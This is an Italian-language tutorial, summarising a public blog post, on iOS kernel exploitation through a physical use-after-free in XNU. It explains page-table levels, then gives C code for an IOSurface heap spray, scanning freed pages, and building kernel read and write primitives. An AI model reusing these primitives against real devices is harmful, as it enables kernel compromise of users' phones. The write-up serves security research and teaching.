iOS Exploiting

Uso fisico dopo la liberazione

Questo è un riassunto del post da https://alfiecg.uk/2024/09/24/Kernel-exploit.html inoltre ulteriori informazioni su exploit che utilizzano questa tecnica possono essere trovate in https://github.com/felix-pb/kfd

Gestione della memoria in XNU

Lo spazio degli indirizzi di memoria virtuale per i processi utente su iOS va da 0x0 a 0x8000000000. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il kernel utilizza tabelle delle pagine per tradurre gli indirizzi virtuali in indirizzi fisici reali.

Livelli delle Tabelle delle Pagine in iOS

Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli:

  1. Tabella delle Pagine L1 (Livello 1):

  • Ogni voce qui rappresenta un ampio intervallo di memoria virtuale.

  • Copre 0x1000000000 byte (o 256 GB) di memoria virtuale.

  1. Tabella delle Pagine L2 (Livello 2):

  • Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente 0x2000000 byte (32 MB).

  • Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola.

  1. Tabella delle Pagine L3 (Livello 3):

  • Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria di 4 KB.

  • Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato.

Mappatura della Memoria Virtuale a Fisica

  • Mappatura Diretta (Mappatura a Blocchi):

  • Alcune voci in una tabella delle pagine mappano direttamente un intervallo di indirizzi virtuali a un intervallo contiguo di indirizzi fisici (come un collegamento diretto).

  • Puntatore alla Tabella delle Pagine Figlia:

  • Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una tabella delle pagine figlia al livello successivo (ad es., L2).

Esempio: Mappatura di un Indirizzo Virtuale

Supponiamo che tu stia cercando di accedere all'indirizzo virtuale 0x1000000000:

  1. Tabella L1:

  • Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un puntatore a una tabella delle pagine L2, va a quella tabella L2.

  1. Tabella L2:

  • Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una tabella delle pagine L3, procede lì.

  1. Tabella L3:

  • Il kernel cerca la voce finale L3, che punta all'indirizzo fisico della pagina di memoria effettiva.

Esempio di Mappatura degli Indirizzi

Se scrivi l'indirizzo fisico 0x800004000 nel primo indice della tabella L2, allora:

  • Gli indirizzi virtuali da 0x1000000000 a 0x1002000000 mappano agli indirizzi fisici da 0x800004000 a 0x802004000.

  • Questa è una mappatura a blocchi a livello L2.

In alternativa, se la voce L2 punta a una tabella L3:

  • Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali 0x1000000000 -> 0x1002000000 sarebbe mappata da voci individuali nella tabella L3.

Uso fisico dopo la liberazione

Un uso fisico dopo la liberazione (UAF) si verifica quando:

  1. Un processo alloca della memoria come leggibile e scrivibile.

  2. Le tabelle delle pagine vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere.

  3. Il processo dealloca (libera) la memoria.

  4. Tuttavia, a causa di un bug, il kernel dimentica di rimuovere la mappatura dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera.

  5. Il kernel può quindi riallocare questa memoria fisica "liberata" per altri scopi, come dati del kernel.

  6. Poiché la mappatura non è stata rimossa, il processo può ancora leggere e scrivere in questa memoria fisica.

Ciò significa che il processo può accedere a pagine di memoria del kernel, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di manipolare la memoria del kernel.

Strategia di Sfruttamento: Heap Spray

Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata heap spray:

  1. L'attaccante crea un gran numero di oggetti IOSurface nella memoria del kernel.

  2. Ogni oggetto IOSurface contiene un valore magico in uno dei suoi campi, rendendolo facile da identificare.

  3. Loro scansionano le pagine liberate per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata.

  4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per leggere e scrivere nella memoria del kernel.

Ulteriori informazioni su questo in https://github.com/felix-pb/kfd/tree/main/writeups

Processo di Heap Spray Passo-Passo

  1. Spray di Oggetti IOSurface: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico").

  2. Scansione delle Pagine Liberate: Controllano se uno degli oggetti è stato allocato su una pagina liberata.

  3. Leggi/Scrivi nella Memoria del Kernel: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire letture e scritture arbitrarie nella memoria del kernel. Questo consente loro di:

  • Usare un campo per leggere qualsiasi valore a 32 bit nella memoria del kernel.

  • Usare un altro campo per scrivere valori a 64 bit, ottenendo una primitiva di lettura/scrittura del kernel stabile.

Genera oggetti IOSurface con il valore magico IOSURFACE_MAGIC da cercare in seguito:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Cerca oggetti IOSurface in una pagina fisica liberata:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Ottenere la Lettura/Scrittura del Kernel con IOSurface

Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato su una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per operazioni di lettura e scrittura arbitrarie nel kernel.

Campi Chiave in IOSurface

L'oggetto IOSurface ha due campi cruciali:

  1. Puntatore al Conteggio di Utilizzo: Consente una lettura a 32 bit.

  2. Puntatore al Timestamp Indicizzato: Consente una scrittura a 64 bit.

Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura.

Lettura del Kernel a 32 Bit

Per eseguire una lettura:

  1. Sovrascrivi il puntatore al conteggio di utilizzo per puntare all'indirizzo target meno un offset di 0x14 byte.

  2. Usa il metodo get_use_count per leggere il valore a quell'indirizzo.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

Scrittura del Kernel a 64 Bit

Per eseguire una scrittura:

  1. Sovrascrivi il puntatore del timestamp indicizzato all'indirizzo target.

  2. Usa il metodo set_indexed_timestamp per scrivere un valore a 64 bit.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Riepilogo del Flusso di Exploit

  1. Attivare l'Uso-Fisico Dopo la Liberazione: Le pagine liberate sono disponibili per il riutilizzo.

  2. Spray degli Oggetti IOSurface: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.

  3. Identificare l'IOSurface Accessibile: Localizzare un IOSurface su una pagina liberata che controlli.

  4. Abusare dell'Uso-Fisico Dopo la Liberazione: Modificare i puntatori nell'oggetto IOSurface per abilitare la lettura/scrittura arbitraria del kernel tramite i metodi IOSurface.

Con queste primitive, l'exploit fornisce letture a 32 bit e scritture a 64 bit controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).

Last updated